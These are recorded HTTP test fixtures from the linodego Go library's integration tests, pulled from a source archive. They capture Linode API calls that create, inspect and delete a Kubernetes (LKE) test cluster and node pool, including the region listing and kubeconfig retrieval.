3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 8206, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "239" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/pools method: POST response: body: '{"id": 10165, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10165-320913040000", "instance_id": null, "status": "not_ready"}, {"id": "10165-590be9bf0000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/pools/10165 method: GET response: body: '{"id": 10165, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10165-320913040000", "instance_id": null, "status": "not_ready"}, {"id": "10165-590be9bf0000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/kubeconfig method: GET response: body: '{"kubeconfig": "CmFwaVZlcnNpb246IHYxCmtpbmQ6IENvbmZpZwpwcmVmZXJlbmNlczoge30KCmNsdXN0ZXJzOgotIGNsdXN0ZXI6CiAgICBjZXJ0aWZpY2F0ZS1hdXRob3JpdHktZGF0YTogTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVUkNWRU5EUVdVeVowRjNTVUpCWjBsSldUSlBjVEExVDJZeWNsbDNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGRHVkVWVVRVSkZSMEV4VlVVS1FYaE5TMkV6Vm1sYVdFcDFXbGhTYkdONlFXVkdkekI1VGtSQk0wMXFUWGhPUkVsNFRrUkNZVVozTUhwT1JFRXpUV3BGZUU1RVNUSk9SRUpoVFVKVmVBcEZla0ZTUW1kT1ZrSkJUVlJEYlhReFdXMVdlV0p0VmpCYVdFMTNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxDa0Z2U1VKQlVVTnFlalpIV1hacVFYbDNLMnMyZEU1cVJWSndaWEpGTmpOWVMyOW9Sa0ZaZGk5d2JUUmhSMk14ZDBOd2JsRTJlUzgyWjJ0TU5taFRXV2dLVDFwYVdsUm9TMnRLU1RKQllsZHNWRVIyUkVKU1FVbE5TR1ZJUlUxWGIxaEJUbXBXVHpGQ1FYbEVWMmxZSzFOQlpWRkdjVWhYY0hOU01DODVUMmhDWndwblprODFSWFJ2TUdoeFZESnhjekpDT1RCM1MwUkRlVmsyZFhsVFVHRjZVbUZPTjJSbGNteFdTRk5zUmtGQmFIRTJlRXg0WWxWdlEzTXlaazV4WldsMkNtMTNSRmgwVGpsT1ZXRXJWREFyYmtVdmVXa3ZkR3BTWW10VmNuTmtZVXBPV1hkRVpUQTRWMDh3TUZrM1RteElRa2xXU0hsV01rZHZlVEpTVVZNeVNFZ0tOV1JPZFVrMFYyOU5jMUZIYlZsclJ6TmtZVmRQVjIxM1pGQlViSFJZU1dKU1pIVTRSQzkwT0ZNNE1YQlZUSFY2V25vMkswNDNUMFJSVmxKeVNUUkZhZ293VUVrelMzUmtSbEFyV2pKUFNWSnhXbEpEWTI5dmNuRXJOa2xxUVdkTlFrRkJSMnBYVkVKWVRVRTBSMEV4VldSRWQwVkNMM2RSUlVGM1NVTndSRUZRQ2tKblRsWklVazFDUVdZNFJVSlVRVVJCVVVndlRVSXdSMEV4VldSRVoxRlhRa0pUTVdFeVJqWTVLMVJ0UjJobE1YaDNkSGczT1ZOMk5FVjFjREJVUVZZS1FtZE9Wa2hTUlVWRWFrRk5aMmR3Y21SWFNteGpiVFZzWkVkV2VrMUJNRWREVTNGSFUwbGlNMFJSUlVKRGQxVkJRVFJKUWtGUlExSllWbTFwVVZrek9RcE9Wa0ZvYzFKcFYwVjJVMFEwYkVOalpXdDZlakF2YWlzMllYQjVaRE5TZG1aelV6VmtkekZIYjBGNFJpOUphMlZvWld0NVYwWTRWbnBzV0U5dWFERkpDbnBzYjJORE5tNVdXRFp0ZW5oRWNIbGFVWEJxU2xOcmJ6UjNiMEZKUW05SVVtZDNNMXB6TDB4TVNrbDFaMDVtZVVOSVFuRm9aa3BCVFV0TFdXVk5hRE1LVUZsTGRURkNRMHRJWm01clJXWkxSV0ZhUTJWa09YSktTekJyTWtOYVRrSnhlRTlMYlRZNFYxQllNV1JEU1dGdk1tNWpSWGQyZEhOT09FcEtSa3ByTUFwR05YTnJWMUprTW5OQllrZDJkRXd2YzNkaFNEQmxNM1ZRWkVoaVZUaDBOSE0zWjNSSU16Y3hXbXhCTUZCWFMxQkRiV2xPYW5SaVNHRkxOMjlvWmxkbUNtWndSVnBMVHpkVGFYVXZUVTQxVEZkUk9TdHBSMWxHWkVsUVluUlNhbTFHWVRRMVprOU1MMGh1WnpaSFFYbFNha3RxSzJob2EyTXZRVWRLTWt0VmRrd0tUR2N2TWpKcWFtSXZPRWRrQ2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLCiAgICBzZXJ2ZXI6IGh0dHBzOi8vZmIwMzhjMTctNzFiNC00NzQ1LWFiOTktMjZhZTlmYjVhOTIxLmNwYzEtY2pqMS10ZXN0aW5nLmxpbm9kZWxrZS5uZXQ6NDQzCiAgbmFtZTogbGtlODIwNgoKdXNlcnM6Ci0gbmFtZTogbGtlODIwNi1hZG1pbgogIHVzZXI6CiAgICBhcy11c2VyLWV4dHJhOiB7fQogICAgdG9rZW46IGV5SmhiR2NpT2lKU1V6STFOaUlzSW10cFpDSTZJbXR2YUdacVZXWkVVVGRYUkRKblkwbDJUVk40UVRsTGJraG1kVEphYTFoRVRXNW1ZMlY0Wm1SUVdXOGlmUS5leUpwYzNNaU9pSnJkV0psY201bGRHVnpMM05sY25acFkyVmhZMk52ZFc1MElpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl1WVcxbGMzQmhZMlVpT2lKcmRXSmxMWE41YzNSbGJTSXNJbXQxWW1WeWJtVjBaWE11YVc4dmMyVnlkbWxqWldGalkyOTFiblF2YzJWamNtVjBMbTVoYldVaU9pSnNhMlV0WVdSdGFXNHRkRzlyWlc0dGQzTmljbU1pTENKcmRXSmxjbTVsZEdWekxtbHZMM05sY25acFkyVmhZMk52ZFc1MEwzTmxjblpwWTJVdFlXTmpiM1Z1ZEM1dVlXMWxJam9pYkd0bExXRmtiV2x1SWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXpaWEoyYVdObExXRmpZMjkxYm5RdWRXbGtJam9pT1dZM1pXUmxPRE10WVRsa01DMDBZamN4TFRsbVpUUXRaVEEwWWpWbU5qZ3hPR1JtSWl3aWMzVmlJam9pYzNsemRHVnRPbk5sY25acFkyVmhZMk52ZFc1ME9tdDFZbVV0YzNsemRHVnRPbXhyWlMxaFpHMXBiaUo5LkFadWhKZUdOMlFORU84NnZPMjhzbHVrREprMTBMbVBjV0xDNzBNOHdRQ1BqekFheEZVdEtBRkhneGhLcG5DcE5scHhCOFpIZG51MmNJQnpDMHVFNzBFTU9RSUItc1RfdWphbzJWblV6WGlreFNZdEtpWkRxeHNldGdENVB3VXZERDNqeGk1TjNtTTFudHJJbkFfNzh1cXJRWXYyZ2Ezemo2bXNqd2dTQTlpbW9mQjhhZGJYTXVtM2lpeVVJcHc5MGpGdzNzWWV0dGRQU1NxdkpIc0toNVA0dnBxeEhPTVpxYnF4MjhwM3ZQQlhNbHdTLUo3VkZJZ1hQaTQ3RjZQRnoyQnlQWGlqLTFFM1RCU3ZITHlSS1AxblpMdXFuaHdpbTV0VFdwM0lxRkYyMnFTQ1JuekhzbERWRlhhUWRUU2NjZVNNQ19HSkN5SGZsV2pzQmRvRU0zdwoKY29udGV4dHM6Ci0gY29udGV4dDoKICAgIGNsdXN0ZXI6IGxrZTgyMDYKICAgIG5hbWVzcGFjZTogZGVmYXVsdAogICAgdXNlcjogbGtlODIwNi1hZG1pbgogIG5hbWU6IGxrZTgyMDYtY3R4CgpjdXJyZW50LWNvbnRleHQ6IGxrZTgyMDYtY3R4Cg=="}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/pools/10165 method: GET response: body: '{"id": 10165, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10165-320913040000", "instance_id": 25233617, "status": "not_ready"}, {"id": "10165-590be9bf0000", "instance_id": 25233618, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233617 method: GET response: body: '{"id": 25233617, "label": "lke8206-10165-320913040000", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["143.42.181.109", "192.168.240.232"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1d386e98b6381ebb19830539b75c23937bc034a9", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": 8206}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233618 method: GET response: body: '{"id": 25233618, "label": "lke8206-10165-590be9bf0000", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["143.42.181.135", "192.168.240.235"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3a191bdfc30b9e396b3621d4aad6a565205cf57f", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": 8206}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206/pools/10165 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8206 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePool_GetFound_k8s.yaml000066400000000000000000000015361474652371000327500ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json, */* User-Agent: - integration.test/v0.0.0 (darwin/amd64) kubernetes/$Format url: https://fb038c17-71b4-4745-ab99-26ae9fb5a921.cpc1-cjj1-testing.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"484"},"items":[]} headers: Audit-Id: - 0b2f32b9-5af4-479e-bb2a-1363529261cb Cache-Control: - no-cache, private Content-Length: - "86" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - 62dbba9e-5659-4f7a-bc60-610742873e36 X-Kubernetes-Pf-Prioritylevel-Uid: - 31dbfe6d-31e0-4f7f-afdf-fb60b9727f2d status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePool_GetMissing.yaml000066400000000000000000000020761474652371000325210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - 